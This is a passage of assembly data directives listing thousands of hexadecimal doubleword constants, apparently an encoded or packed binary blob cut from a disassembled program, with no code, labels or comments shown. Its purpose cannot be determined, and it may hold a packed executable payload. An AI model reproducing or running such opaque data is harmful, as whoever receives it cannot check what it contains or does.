803342E2h, 0BD2FB045h dd 30A01C1h, 60025163h, 0B3A8953Dh, 530600B8h, 0E80F7549h dd 0E130007Dh, 33B0A5D8h, 0AA0012E2h, 0B6FBE709h, 3C05D0Eh dd 896EA55h, 410360A2h, 0CA7B3E4Ah, 0AE1100B9h, 7629E8F2h dd 5401B1A1h, 0BF49311Ch, 6DFC9901h, 52AF0703h, 3EF9A7EAh dd 0B4AE1E1h, 0E2430ABh, 0A034ED2Ah, 0F7415700h, 0A7527908h dd 0C9E4D1h, 19CB1F6Dh, 0B542F903h, 1BAB300h, 0FD4F6ECCh dd 1907911h, 9BEAE82Ah, 223CC720h, 5BB00058h, 0B8E991EBh dd 0AF5100ECh, 0F2D1A01Eh, 0D500C7FCh, 6F5F798Dh, 0AA7E7565h dd 0E0D60EFCh, 0F434C850h, 92890F99h, 0E1278DC4h, 0BC385098h dd 2491E777h, 1F5A8386h, 54A14C1h, 6C53E490h, 0B4020849h dd 0F9B19652h, 7D406804h, 2ACB8782h, 0AB4BFA00h, 0F42BAE97h dd 5CC8019Ch, 6A25E53Dh, 4043336h, 0DB30B58Ah, 624A8880h dd 0E0FBF085h, 20DF264Bh, 44F244F0h, 0F6403575h, 65AAE09Ch dd 2F45A12h, 8F8EA421h, 0E9E69850h, 0E4F70078h, 0AE10206Fh dd 0B400B72Eh, 0CE18BFBCh, 0F8F10Ah, 44A16A91h, 0D2667AC9h dd 3084C70Ah, 0E6007895h dd 897041DDh, 0FA550C96h, 9099D2E7h, 1A460807h, 0E48F432Fh dd 0BC90A006h, 2ED93089h, 4DD95D7h, 8164CA75h, 70C7B4BAh dd 3C4A16EAh, 0A47CB0h, 57B9177Ah, 0F14BEE10h, 774F78C0h dd 2C63AF0Eh, 830CFBEh, 108E3024h, 681C0C52h, 22BE004Fh dd 5E03689Bh, 0C0E98647h, 554C9A51h, 0CD702D4h, 0E0DE690Fh dd 0A6F347FEh, 0E3E1494h, 2B097CB0h, 0B0A1EAB3h, 489C3D4Eh dd 390F0380h, 800D1701h, 5AC0F4CDh, 64B014A2h, 60099844h dd 90A57Fh, 0A428CAFEh, 0DD02C13Dh, 0CD1104C2h, 4F8CA1D1h dd 0E0503F7Ch, 0CE17D3h, 0D24C47ABh, 0C0ED6265h, 259B1907h dd 0C0FF230Bh, 3810E6D3h, 66063CF2h, 4C748B02h, 80AADF81h dd 331108h, 0F50E4229h, 4B0DB12h, 0E93860C3h, 0D068C71Ch dd 0F89BBFB6h, 4DB8789Fh, 4C9E9C55h, 9F15EEDh, 3281F300h dd 0A156E2B0h, 16B57DF5h, 21841C0Ch, 40308A4Ch, 0A7F3E2F8h dd 51E00252h, 0F7D4504Eh, 50BA1A81h, 811CC559h, 36521374h dd 0FC402987h, 30B6E7E3h, 158D2F5Bh, 4AF440F1h, 0BA01E4E7h dd 55446FAEh, 0E980377Ch, 0BEEF3368h, 0F7018963h, 0D9434C1Dh dd 8C33647Ch, 9729D607h, 229D657Bh, 5C448E90h, 5DB32400h dd 71B54D42h, 6E0E0579h, 3153C7E0h, 655975ECh, 54C3DCC8h dd 225D2D0Eh, 0E683A0D9h, 925FD80Eh, 0D4F8CA10h, 0EFEC8AF0h dd 9F7E80A4h, 33E1968Fh, 31F2D0Fh, 0BF7B80DCh, 996A3F32h dd 0E01B8700h, 51F4207Ah, 2000FD30h, 807B759Bh, 2E0340B8h dd 8800F7B7h, 55004741h, 98DE1585h, 0AC5E0ACBh, 0C1E8CABFh dd 0F10B31h, 0DB5527h, 98C9724h, 6BD7B0C4h, 2B16E407h dd 66267BFFh, 95B400B1h, 0ACA650F4h, 0C801967Ah, 0D4E7A57Dh dd 7C204C15h, 90F74990h, 80CBA61Dh, 33075212h, 2B1F59C2h dd 0A1050482h, 0A044623Ch, 8600241Ah, 73E83E9h, 0AE9D6800h dd 4D1E91E7h, 756D7BDEh, 1CB193h, 14FC5E10h, 59098DADh dd 24FE5A1Dh, 5088EC74h, 689300A1h, 7D8F3A85h, 0C100DC7Ah dd 4C134DB6h, 0B2A0BE1h, 22AD8AA7h, 0DF83A418h, 90E8264Ch dd 123D1DB0h, 2CFF4F4Ah, 0E34C8100h, 0E7F3B3h, 6150065Dh dd 0FD1E30F1h, 19361D02h, 0B89A8FB6h, 80EA5FB4h, 0D000A518h dd 2B72164h, 7B6BAB4Ah, 89F2C50h, 0EFF50268h, 0A0A0F4B5h dd 0C66BA248h, 0BC013890h, 5656C13h, 5C325249h, 20087906h dd 0AE0FE6ACh, 0A0F55411h, 14D63B8Bh, 4449C0BEh, 61843E4Dh dd 871EB939h, 0FF95FD38h, 0E59F21E2h, 80829C7Ch, 3949B6F6h dd 0AE178C26h, 28640BCAh, 0FCC1C2Dh, 0F44200FFh, 6759594h dd 14241155h, 5F8FA8DCh, 0AC4EA0CFh, 9CC16Fh, 4DF697B4h dd 0B73C5D70h, 20408C24h, 1D288008h, 6A9FC4B6h, 0DF359055h dd 3E004E73h, 0C9BD1063h, 669B85h, 9C404BDDh, 4797DEDAh dd 58B5E4A0h, 58D2D8A9h, 92E9C98h, 0A40B08Fh, 7C042484h dd 82140070h, 0B4022BAAh, 0A40B4321h, 41177Fh, 0F94A4D1Ah dd 0A22702F8h, 24CC1109h, 0A385E8A0h, 1E13C738h, 0A4616103h dd 0A1DEAFFAh, 6F8A3C0h, 1042A058h, 3BDA587Ch, 0C7840048h dd 358FB24Bh, 950998D4h, 0BC671480h, 3C60CD23h, 0D2CC1F71h dd 38A7BD9h, 0F65311C5h, 10B99570h, 1E343461h, 0EC47B48h dd 8FA4CE9Ch, 7461B73Ch, 7770E1C4h, 4691006Eh, 0B89803CDh dd 7A0717B4h, 2C01BB13h, 0D4CCCED5h, 0FB1000A4h, 0A5AE54FFh dd 8D09D832h, 74CA9B9h, 88E1E0h, 41397387h, 2600117Bh dd 477E3DFDh, 49C3083h, 2354B0B3h, 69F1C0C7h, 102555EEh dd 0ECC024AFh, 8128A4h, 0EE258B63h, 9A2E0BDFh, 457FDE98h dd 505BD900h, 239D6042h, 936C9E9Fh, 4050173Eh, 67C35424h dd 5E004F23h, 9441AF21h, 3D18D7Ah, 0AAC178E2h, 8F80EEBEh dd 0D5026438h, 0DE52AF04h, 21D0E185h, 51092C52h, 101380D8h dd 0E9B9DB86h, 17EDEE18h, 58F8CF71h, 690B7854h, 1C98F26Ch dd 228C015Ah, 9711E8AEh, 44A58A3h, 8C0548C4h, 1B3DA8D8h dd 2AAB889h, 5184C6DDh, 4105A75h, 25B29B28h, 60F5874Eh dd 379F60C6h, 1F1D93Eh, 30AE996Ah, 5AD09703h, 0D3BE02A4h dd 33CD57B3h, 4000BCE4h, 2E934773h, 0E76983h, 0A1D1CE65h dd 9525EE8Dh, 0DA346B07h, 0EB719660h, 0C036510Bh, 33522B00h dd 0C28454E7h, 60D55A01h, 0A20BAC82h, 1500B026h, 3454226Ch dd 0E179E861h, 0ECB9601h, 0EBEC1C02h, 48025C29h, 4D64E828h dd 1089F459h, 6E2CA101h, 0C39AB22h, 2934EC58h, 7AD10319h dd 0C5D704BBh, 1C2CC869h, 0E35C97E2h, 40A2383Ch, 0A4E70909h dd 0A48203C0h, 8CEA6052h, 5D0FA85Ah, 0A540DCF4h, 488CB8Ch dd 40EB4F2Bh, 0C4DF5B8h, 8C9E10EFh, 78A49705h, 0B12BCC43h dd 78D17CD3h, 4A41C2D2h, 2446B6C7h, 91B1FE4Ah, 0C0DEF462h dd 0D6363072h, 0CA0E9BCBh, 0A5114Bh, 56E518D0h, 0FD770040h dd 1373A97Eh, 4E0C0617h, 41327C52h, 948D005Bh, 2AB378CBh dd 0C00058BEh, 7EE77B60h, 494BFA31h, 5183019h, 823581CEh dd 27001878h, 5861A9C1h, 0E9697CBh, 0FE9B47D6h, 6CB01109h dd 0D9C71413h, 1BC05CACh, 538025D8h, 5A3FC4B9h, 9101908Ah dd 0C042619Ch, 2D83917h, 74C5BDABh, 6B13C1D2h, 78945F8h dd 6E2C947Bh, 0A45F50B6h, 0BC489DFEh, 0A056005Ch, 86705269h dd 0A1A917B5h, 0B98C309Fh, 0FCA8CD33h, 7938F2A4h, 9A3600FDh dd 480252C2h, 0B8C00532h, 5F33C6h, 0D447414h, 4029A3Dh dd 47321E0Ah, 3F507A07h, 0BA80F923h, 153DE7C0h, 0C24E96FAh dd 0D8041C35h, 75002322h, 9AE342DBh, 9DB6A338h, 0B2091FDAh dd 44C0C452h, 0CC2662ECh, 0C904215Bh, 0A0877AAFh, 0A434B90h dd 0F7F31E76h, 8CA245C3h, 8C90C465h, 0E1002EDCh, 8801680Fh dd 0A33D36h, 0B07F01Dh, 0D8C8A78Eh, 124D5323h, 20101336h dd 0A278B9D4h, 485BAC00h, 0B089F787h, 0AF971401h, 5326AC49h dd 35F6241Ch, 5624C831h, 0FB63C0B1h, 16B5A121h, 230DEE0h dd 5108FEBBh, 0A8E6AFEAh, 0F967A832h, 78C475h, 7F9C29FBh dd 11D6B7FCh, 801AFA00h, 670F3902h, 77FB27B4h, 114A3410h dd 0CC4E695Ah, 0C1BFA09Bh, 0B98F0368h, 2D860014h, 8C4F8E06h dd 927CB300h, 9A417266h, 6A892C6Eh, 69AB0818h, 0CB0C594h dd 6179DF18h, 0A6F80390h, 0DDA95F93h, 78514E82h, 0D62D803Fh dd 5ABC8701h, 1327ECACh, 309488FEh, 0A7393688h, 90A70496h dd 0E406EDC0h, 0C094076Ah, 0D2809331h, 0DC400798h, 0A000694Fh dd 0ADDC9AB2h, 0D6B5FA48h, 3BBE0AA1h, 69E1C7A4h, 0C06A74B0h dd 6BF12289h, 4BCD3996h, 8C8FCBFCh, 2827E6E0h, 58545604h dd 485CC978h, 80F9DE88h, 53CF43DEh, 0ED641Ch, 0FDBCC73Bh dd 0FEDF1752h, 0D6612D61h, 0CEC069B7h, 0B26F00A1h, 2A14B90Eh dd 7CBB6DA0h, 0D2624824h, 0A7BA60FAh, 51B2023Bh, 0CA8AE5A5h dd 7CB168C0h, 0BC1EA90Fh, 0BB7B85B6h, 53247027h, 3EBE4F41h dd 0B5C6214h, 61FD2Fh, 0EE102A98h, 115C0C8Ch, 0A131DB52h dd 53CB7303h, 16DE50A2h, 32B42BF0h, 0EE1140BCh, 1DE98458h dd 4B9B20FFh, 2884BE30h, 6C344021h, 60FA08h, 0F28C3979h dd 1D5CB4E8h, 43282A01h, 4D853E04h, 0C0314CE3h, 0F5428400h dd 0A4540844h, 1C24C526h, 82B32B60h, 64058028h, 7203C096h dd 0FBAB36E4h, 0FF1CC9C4h, 74F8D0D1h, 7DE714DFh, 3EC490A9h dd 0DCB0C224h, 525BC52h, 0F248202Ah, 50938A2h, 2652AE81h dd 1E3CA0A4h, 4D08A1C0h dd 2A72594h, 8224E9DEh, 84B05075h, 4093811h, 808A6606h dd 294E702Dh, 0AC200414h, 0D8C6D934h, 0E93F2B84h, 3C4E4026h dd 0D085F42Fh, 72A2D995h, 90C48EECh, 7F802600h, 94B6047h dd 0D0D0657Dh, 4E1000B5h, 0D12F7FA4h, 84953B25h, 0B8E07480h dd 42A1024Ah, 3320400Ch, 280064C4h, 0B580FE74h, 483C9E3Ah dd 1600C4BAh, 3BDEB1Ch, 0C6595018h, 0C71387C4h, 94F2B955h dd 0E710E97Ah, 0E428BE63h, 9C3AE419h, 32A908F0h, 1C0469D8h dd 0CF4CCCEEh, 9ADEB1Eh, 0EECA12C9h, 0B8EC909Ch, 44204EC8h dd 0CD8F67Ch, 70A62AFh, 9AAD81BBh, 95E1327Bh, 0EB28B8ECh dd 1C7BCC02h, 0CAFFAE00h, 0CDBCCB85h, 3CA612D1h, 0B0D420EDh dd 7500C968h, 12BC5F39h, 0F0300F97h, 0DE902AF3h, 8B8750B0h dd 39AB03A3h, 9C7AFEE4h, 651BAA88h, 75DE8216h, 1CD808Ch dd 0B77DB6ACh, 62AB3928h, 3E7E1D28h, 0F4943F4Ah, 8DA3CDE0h dd 85982F21h, 7A062007h, 3D04BC94h, 0C01B155Eh, 52715AE5h dd 0F8315F24h, 0D329B340h, 0D95600A1h, 0D4C97757h, 0E8B46F5Ch dd 8A1D2B88h, 80A0307Ch, 18D06A8h, 0F001B009h, 3381428Bh dd 3431CCD2h, 0C4DEFCC9h, 0E9F2A0ECh, 48A7727h, 0BC7B0116h dd 3F0C9CC9h, 0A70FC7F6h, 0C2F2E0DFh, 8028CC10h, 1F660B50h dd 0BE130B83h, 0A865F1E2h, 191FBC80h, 0E90A12h, 77B7019Dh dd 112B85CDh, 69441995h, 5B7E7463h, 2F2C208Ah, 0AD09CFC2h dd 52B24673h, 84D4FE0h, 9880EDB0h, 0A8598B66h, 77790094h dd 0BAE832F9h, 4C02D51Bh, 537F1605h, 9BBEC0F2h, 0F58D023Dh dd 313AB1E7h, 960CEC40h, 11AE0201h, 15CC6EDCh, 3F0762F4h dd 4F0065B4h, 0C08B6C72h, 2E00FB8Dh, 0E83404CEh, 30DB1AB1h dd 148AF2Bh, 0B9000D30h, 0FEA840A9h, 0E99DB6h, 0CD569F94h dd 0DD5F20Eh, 0AE17D905h, 1C01FE3Ah, 4A3EE407h, 0DDF83831h dd 0E5BF07B9h, 302CD787h, 0C1D93EEh, 0BB2B670Fh, 0B0A5C190h dd 808039F8h, 9CA2913Ah, 0EE007A7Bh, 12FC24A4h, 0F8888DC1h dd 55150321h, 73D5A033h, 49F13Ah, 99524102h, 1F40D6h, 0D0468C33h dd 0DBCC8A4Fh, 164E2A0Ch, 1434A9B0h, 0A8FB3DDEh, 8C55218h dd 5001B2B1h, 6F5EBD22h, 4CFCBEE2h, 2D6FAE9h, 0EDCACF85h dd 0B8820B41h, 0FC039FD4h, 937C9A08h, 0D2B7D8A4h, 43E400B4h dd 0FDC38CE5h, 880ACD17h, 0B094528Ah, 0AD069380h, 2EA3AEDCh dd 81BB6Dh, 0B3016CD3h, 1B0A0A3Ah, 4C534837h, 0C4E4A601h dd 0AACCFC56h, 3DD79E9h, 0EEDE3AA5h, 0E198EDF8h, 0F20613C1h dd 2ABAF762h, 22D92A39h, 716D00A8h, 0F8AA850Bh, 0F3B8E4D3h dd 0B4707400h, 3710A966h, 307B49ABh, 0CD7972h, 2C5208BBh dd 4474768Eh, 1817B324h, 7978F861h, 1EE3180h, 5F975962h dd 0DBCB5C00h, 64FAC36Dh, 32CA39B8h, 0FDDE6107h, 93EFB0A3h dd 8F28224Dh, 643C743Bh, 0AD49A84Bh, 0F8066202h, 48A39C75h dd 81AF2E68h, 49E4E4EBh, 5A7F030Bh, 0A2FB808Fh, 0DDB48Ah dd 0C932D754h, 0AD42821h, 590015F8h, 0FAB0B131h, 180E5AAh dd 2361EF89h, 83C69C72h, 0B83890B8h, 8688F050h, 9810096h dd 7DEA395Fh, 1F065605h, 0AE1352A3h, 0D5F30280h, 0A501CBBCh dd 33094846h, 24F84E92h, 0D1402824h, 0C4375305h, 47D9A309h dd 0B86C0009h, 5608176Dh, 0FB03F46Eh, 0FFE2B1AAh, 9B2CF810h dd 8FD98800h, 0A034AD2Dh, 940BC309h, 76581429h, 0C9A40051h dd 3F6C9589h, 0DA0056B4h, 0CA108AEh, 3C0620h, 0AF67D780h dd 0B12AF0A5h, 15108E4Dh, 2464ADBFh, 0ED47DCF5h, 0F1E86D70h dd 599F00F4h, 22714AD8h, 7501FBACh, 8B015614h, 498096F5h dd 742CFC0Ch, 0FD004EC9h, 7A02FE62h, 0F8E45D95h, 5BE0EFh dd 1E925553h, 0A3904FD1h, 4C35D524h, 0CB80EA9Dh, 30893182h dd 8DA8097Fh, 341075E3h, 50E2038Fh, 9A592E00h, 0F0148240h dd 6D373204h, 0C7204748h, 3C46929h, 74D383AFh, 77985AF9h dd 0D752A934h, 386E109Ch, 0D4966900h, 9F091071h, 161F9304h dd 2CC81E99h, 18C34C8Eh, 0C4A92D10h, 944FC69Ah, 0DCE40410h dd 71C006DAh, 578733h, 8531DFA2h, 222E9AD5h, 4D8A8C00h dd 3C36DC7Ch, 0E8370338h, 98B87FD4h, 9A51B800h, 884B1D7Ah dd 0F01A151Eh, 2C00AC54h, 0FBB5D930h, 951C6A12h, 324093A4h dd 581ADBF0h, 109148D1h, 0FCFDC087h, 0FF004B39h, 0D8A550A7h dd 0B80C5ACAh, 0A80E188Fh, 0DEE820AAh, 96BB4301h, 0F9C5FD58h dd 139FBC20h, 0A3BA3AFh, 85983A04h, 0C0AC6085h, 18A6BBB7h dd 0F3290975h, 80BD94D4h, 6A06EB41h, 12E204B1h, 2024612h dd 42AB5A68h, 63F8C48h, 0DA07CB77h, 4B6DB3AFh, 0C32D7AA3h dd 5251C774h, 70634841h, 78AB3800h, 81C191CAh, 4FAC9700h dd 75F30165h, 90A64868h, 0C01543Ch, 46FD6118h, 63B03011h dd 0A1425200h, 7229EDE0h, 8CC9C325h, 10B006DFh, 0CD00D914h dd 0CC073C50h, 90D8C670h, 482C2E4Dh, 54A500C1h, 0AA8B42Bh dd 0DD589672h, 1AC8048h, 3BE4F2C3h, 6501496Dh, 0DC5CA799h dd 9C9C2425h, 0E37D7000h, 3F8A8B3h, 812D00ABh, 0BA80D9EBh dd 0F904787Ah, 0F3E865FFh, 26AF6088h, 85304FC7h, 8880F829h dd 0DE5658C0h, 57B400B4h, 3A8FEE90h, 5ABD0444h, 8282DAE8h dd 0D4218A34h, 0B180D07Eh, 134B7151h, 20017012h, 0A8F858DCh dd 208A3101h, 419C6A82h, 80436661h, 3A96D860h, 0D7F2D5h dd 2EE4375Eh, 0D2A80C1Ah, 24103E01h, 0AE0EE3F6h, 0E960D0CFh dd 1CBA50C7h, 124B054Eh, 0EC876DCh, 18787D9Ch, 0CB06C2FDh dd 89DFD64Ah, 2ED90010h, 0CF4971E3h, 0FB3E60B4h, 48C3F916h dd 75D903C3h, 0B9A00038h, 0ADB1B01Fh, 0A2799950h, 7502E20Fh dd 43DA406Bh, 1FAA541Dh, 3C8DDCFh, 0E2AE4253h, 0FB589103h dd 69257h, 3D8D3150h, 48165F73h, 91AF500h, 21DAF023h, 99D86072h dd 9E19B19Dh, 6AC5840Ah, 0A200AC4Ah, 0FC1A49E6h, 8940197h dd 0E4AB26CBh, 0C2A99DC6h, 0EB042040h, 20FFAA8h, 0A9188AC4h dd 0E78FF341h, 86D0740h, 5A073A23h, 0ED3CD3BDh, 30F39C80h dd 37DB3BE2h, 205B9050h, 0F118398Ah, 4760FC08h, 46F800BCh dd 45E1952Fh, 9300DC5Dh, 2DC4DB01h, 0E1CE5h, 60D09D6h dd 0FFBC1E3Ah, 8BE6205h, 90604045h, 0B004F5DAh, 0FF792806h dd 58F00030h, 0F694207Ah, 0A0343C2h, 56C3758Bh, 0FF6EF05Eh dd 7C9650E8h, 73C70122h, 60DBAB89h, 3EC40C5h, 780034F8h dd 0CC159210h, 90DDCD3Ah, 0DA5A2A1Ch, 980900ACh, 7370E690h dd 32009C03h, 8540EC46h, 0FB0A50h, 0B61F25F6h, 26C28DFDh dd 0DBCDE100h, 0E3B2581Ch, 0E8E5E9F3h, 4639EC40h, 58D5615Fh dd 85384272h, 76B0F060h, 0FDF7DC1h, 1DCC3761h, 0F47F291Bh dd 0B0FE1560h, 1F17479h, 48F2E66Dh, 0DCE8567Bh, 2109E5DAh dd 18100E8Bh, 668E2364h, 0D19F71D7h, 1DAA9500h, 320CD4C4h dd 281FEE13h, 0C0F939BEh, 0DE944661h, 0E800BF59h, 0A0A838F8h dd 569154Bh, 0DA579EDBh, 6FD844F2h, 3DC13865h, 0FD85E0E7h dd 0C036D4DEh, 7C99F4F2h, 87A87100h, 0AF374691h, 0DA03309Ch dd 3D60E118h, 1943000h, 1A7ED938h, 5C6200E4h, 44E8BEE6h dd 0B500B2F2h, 5477F637h, 73C73DBh, 243BCE2Dh, 8DDFF369h dd 15F44807h, 6320C3F0h, 0D49FCh, 0C0AE3786h, 7C3E2B77h dd 703D1C0Fh, 7B461D9Ch, 389AB6h, 5093017h, 6850C237h dd 1F6C2D17h, 1380F600h, 3E2FC4Dh, 84952B1Bh, 2280C2BFh dd 5200C397h, 7BE5F834h, 12160207h, 52B0487h, 0C0FA894Ah dd 96603265h, 28ADC700h, 0AB0780B8h, 289FE9B1h, 54E80D8h dd 0B417277Eh, 0C200D670h, 0AD106698h, 69264AEh, 86722B39h dd 0DB016832h, 58FA241Dh, 509C165Bh, 0BD1A41C5h, 0FC3D77BFh dd 4D3AEA2Eh, 0FB5A81F6h, 99470F64h, 0C02B05C0h, 0B33CF730h dd 0DA0166FDh, 162C35CBh, 2AE957A7h, 1042092h, 0D94C9738h dd 0BD1080BBh, 2E297441h, 0DCC000FBh, 0D80C432Bh, 0D9005CCCh dd 8213BA01h, 7F37ACh, 4469FAFDh, 0E89A2734h, 79182130h dd 9036CBD2h, 5B4C0098h, 0E5F4BB55h, 512A7176h, 0CF0088B4h dd 0C685B5D8h, 79D508F6h, 0C2153A8Dh, 61ED7E80h, 33282E2h dd 2ADE418h, 747C59h, 0F6D09C28h, 83B7CEE5h, 39CBB9C0h dd 0F2B220Fh, 9D5029A7h, 8D8E48A0h, 5E30F397h, 992B510Dh dd 11E920FCh, 8426612Ah, 3B5BD500h, 0B4A7BF83h, 0EBB63B4Fh dd 0E0FEE880h, 9008F471h, 8D939A03h, 0FB82A1D0h, 18387DBAh dd 0A007353Ah, 1761F1CFh, 0FDAB3351h, 30D72FE4h, 0BC198D58h dd 8A003765h, 27F86BEh, 5A2689Eh, 4BF344FAh, 67B983CBh dd 801861A9h, 8ADDAC49h, 0A1F9E86h, 0D1E1480Bh, 1EF4C190h dd 60818234h, 0FA97471h, 780FF81Fh, 8F8E9206h, 69DB8B60h dd 2802CE8Ch, 0F89BED56h, 612C495Ah, 0DD010022h, 473332C7h dd 572FD42Bh, 0D10FBC00h, 9DB6F616h, 77FA07CEh, 2B9827h dd 9FE583DDh, 90F253h, 7FCC463Ch, 18DF11FAh, 907BE184h dd 0C5F06E77h, 0D1584A00h, 5FA1D659h, 707856h, 26AFD8A9h dd 3445177Eh, 0FC7F0609h, 289C2647h, 0D76C8010h, 0FF8658B4h dd 21806528h, 0ED003564h, 0A0A59ED9h, 78160792h, 0C7823EA6h dd 0CEDAD141h, 0E90FDF2Dh, 9774A9h, 0F6896F90h, 60380E5Ch dd 4F499D2Bh, 98D31C04h, 0AB3C50ECh, 946A82D8h, 4617909Bh dd 305824D4h, 4D368050h, 0E723ACBEh, 5488FE90h, 0E201E9CBh dd 81BFC847h, 7EF01142h, 58418F4h, 869FD846h, 0F9C31900h dd 179BE09Eh, 94510FC9h, 0A7C0FF8Dh, 548C38B2h, 2A22BC90h dd 0E0BE2A6Eh, 3B3A3DB0h, 0F16AEC80h, 0D23688FEh, 0DC8CAA03h dd 80F7A79Bh, 6084E571h, 8A5A31E7h, 14001A81h, 1B582AD4h dd 0C3CCC63h, 0FF12257Dh, 0F4130760h, 28421455h, 0A0E55E60h dd 396867A0h, 29FC01A3h, 0A93C101Fh, 0F024C009h, 9F986049h dd 27F1A042h, 46BE03B8h, 5EC4F112h, 0C2A93B0Fh, 0D5BA8A3Dh dd 1FFD0B60h, 99980505h, 0AC4632F3h, 3F79D161h, 6D1CC5CAh dd 0E59DC0B4h, 6ECE6AACh, 20930E79h, 80B79304h, 9D21CF02h dd 2BEC490h, 94FD81C0h, 261B8DD0h, 28C4C93h, 679D4164h dd 0CEDB1C68h, 798C2F31h, 51847FF4h, 0D83964B8h, 0EC986A6Ch dd 0F906A6F0h, 71A9E828h, 980715B9h, 9913B8D2h, 57CC20F8h dd 92E2633Ch, 4C988D38h, 0E758070h, 88B569h, 5F70A789h dd 0F1D8F8CDh, 35D6B100h, 431640A0h, 5D480031h, 0EB05275Bh dd 4D005829h, 0CD5CD8F2h, 4BC139E9h, 50C3803Fh, 18C09F6Ch dd 0B538E55Bh, 0E64E00CAh, 65DACB64h, 0E00666Bh, 794C9FC1h dd 0C0EA6Ah, 9B71FFF0h, 24465038h, 0E5FA914h, 3A3A3B30h dd 0DD36097Dh, 6980F56Ah, 0B3A0378Ch, 0F1D7E10Bh, 89BE0015h dd 18A8274Dh, 0C96A71E5h, 3A1FA235h, 19825FBBh, 0C17D6677h dd 9EC8121h, 3CB03D25h, 5A84650Ah, 36C1180h, 8C9BFA38h dd 0DA83A8C2h, 29C929F3h, 6A5D9D5Ch, 0D7FA0798h, 0B07C6637h dd 0DA2F39E6h, 0F0335400h, 0BC26CDDh, 0F9852012h, 1EDFA41Fh dd 7F7E340h, 0E28F9C90h, 0FC322CECh, 0A7380050h, 168E6ADAh dd 605BB931h, 99805E71h, 6976ADE8h, 6852EB47h, 0D9E60CDCh dd 28506174h, 9C93A6h, 0A41B901Ch, 0EEDA7A08h, 545A8500h dd 0D90F4DC9h, 0B8E50CC1h, 0E9396B13h, 9B9F0900h, 1C9964B3h dd 0F1210505h, 47CA50EFh, 0D0154FE8h, 68E18890h, 5710EB01h dd 0A5D907F4h, 96BDCCh, 0E5116C5Eh, 663F7A21h, 0E6AC6154h dd 695BDE30h, 3F1513A0h, 4D0071B6h, 0A1923C1Eh, 820CE6DCh dd 29262856h, 0AE00148h, 0C7A4A031h, 0AE80505Dh, 0ECF2F4D7h dd 0BF4C2770h, 7DA20CEBh, 0F05F2167h, 0D7D30599h, 309695E2h dd 1402A5A8h, 5E051491h, 94409730h, 32AA1D98h, 1AB87209h dd 18915A87h, 0D8A65760h, 0BA1282C0h, 26084C98h, 9249E37h dd 830E626h, 0F0018DCEh, 408F6B88h, 9080A928h, 34A4185Ch dd 0DCFAA2C1h, 471B8C0Ah, 6D804C95h, 0DD50408Ah, 28434919h dd 84ECE714h, 0DF418E83h, 0DE0C917Eh, 38BD9597h, 87990107h dd 8349C237h, 12CC20D7h, 5B79F860h, 34D809Ch, 7A613DBDh dd 929976CAh, 7D29DC48h, 0ECC75F2Ah, 625AB00h, 143C907Ch dd 0A9D30134h, 74C29D29h, 0C61520DAh, 5D033E14h, 2C38838Ch dd 0ABEE3B5h, 7B8B544Ch, 85F908F8h, 0A3AD4401h, 0F770B2D0h dd 8450907Eh, 3A8E3A88h, 97404960h, 0FE000DFFh, 7EF513A6h dd 87A926h, 18377F4Dh, 0B43E403Bh, 70DCAC00h, 5F7B8A1Ah dd 9DB9C1BFh, 0F0712F46h, 0DA02592Ah, 0F1908DF6h, 400866F0h dd 1898B874h, 0DF221302h, 48E15D85h, 0D57128h, 2C178761h dd 0E44CF410h, 20DF3A00h, 0B2EEDCABh, 47240042h, 0DA9AF702h dd 48760107h, 9FEDAE01h, 94A6BCB5h, 39224080h, 68A8E4A1h dd 0D435DC00h, 79C76365h, 2321C36Eh, 62A315D9h, 48DA1FC0h dd 0EE34BF17h, 0E0208E1Bh, 0F8FB77h, 5E822725h, 0DB4601BCh dd 0D5280700h, 92C51657h, 785D00CBh, 946E10F5h, 0E1312B25h dd 0EEA4150h, 3FE56180h, 29A7082Ah, 0F76A0C00h, 6B59E0A0h dd 9FBB0F49h, 0CC80920Bh, 95D9C881h, 5248257Ch, 8E8F0139h dd 2C5CF2B5h, 0C3A9B980h, 0B60FD107h, 540EBB00h, 7818103Fh dd 0AD343A09h, 7A740073h, 87F8F3A9h, 8E2A6835h, 2B14AC96h dd 10507DA5h, 4E0325B3h, 169663F0h, 76AFB2C0h, 0F74D8E00h dd 60442DEAh, 86300024h, 0E5ACB6BEh, 0DB24AA6Eh, 47009A17h dd 58DD4FC4h, 0AB3F1C2Eh, 6CBA47ADh, 1F9D70F8h, 0E6003433h dd 8E6F5DEFh, 0D6B2257h, 28533C32h, 1B88FC31h, 0C00A8F0h dd 0DC5AAABFh, 9A2EFEh, 99734203h, 0F32F6E98h, 0ACC15E00h dd 0C96402ECh, 0B2460362h, 80E03290h, 226D00D7h, 6F0C8CA4h dd 0E41BADAFh, 6886E9E2h, 7033DAA6h, 0A90127F8h, 0C2D423Dh dd 3CDB8DA4h, 25035F19h, 8B845CB9h, 0DAEDFDC0h, 466D2606h dd 1DB15376h, 37C522BBh, 0D2A77059h, 9A00320Ch, 0F2480F10h dd 0C0A6945Eh, 4FBE9D21h, 42FC5116h, 414EB71Eh, 72CE8040h dd 181DB65Ch, 51ACA22Ch, 992878A4h, 461978CCh, 73790627h dd 22E0A1E1h, 0DBCD0096h, 30D35FE9h, 6C249B01h, 17034521h dd 0E37DBD41h, 801AAAA6h, 6EB1466Ch, 21760022h, 9F8D32BAh dd 0DCA14E1Fh, 9852100Bh, 3AB203E0h, 553046A4h, 0A95A190Dh dd 5EF0A1DDh, 0D419C018h, 0FFC1D8B0h, 30F6C3Bh, 2C465D29h dd 16212819h, 0DFA92270h, 8CE1942Ah, 8D273100h, 0BA25D388h dd 48A2EE34h, 60182C22h, 5753B913h, 2B07CDE4h, 7819105Ch dd 6273D750h, 0C7E704DFh, 98B828C8h, 97031E00h, 3EF26BA7h dd 41890054h, 3D941525h, 0CF0175CEh, 38B46CE0h, 1EC4D74h dd 7EE20073h, 0AAAC7AA1h, 3C72640Ah, 99FB6000h, 7950A78Ch dd 69490568h, 80DBC518h, 0FB30882Eh, 1958CE01h, 0D9689523h dd 7C31C6F0h, 726100B9h, 0F14D8212h, 0DE06CB46h, 8F220B4Eh dd 0DB770029h, 33BF7A0Ch dd 0C9000970h, 3C5D623Dh, 4036B19Bh, 9100106Ah, 0E9E17E64h dd 8FC922h, 3C3420C8h, 23EC4D4Ah, 506C4030h, 678141h, 0F8C8D00Bh dd 589EC710h, 115C8600h, 0C35760B1h, 382CA193h, 38BC5BEDh dd 7A47327Ch, 80984819h, 0F00568Ch, 0B7FC4CC6h, 0DF2D55F9h dd 0FBF600A0h, 0C4498BD8h, 0FC61230Eh, 9389209Eh, 3038792Bh dd 9951848Ah, 7B0262EDh, 0F94C45C9h, 9F88A49Bh, 31600324h 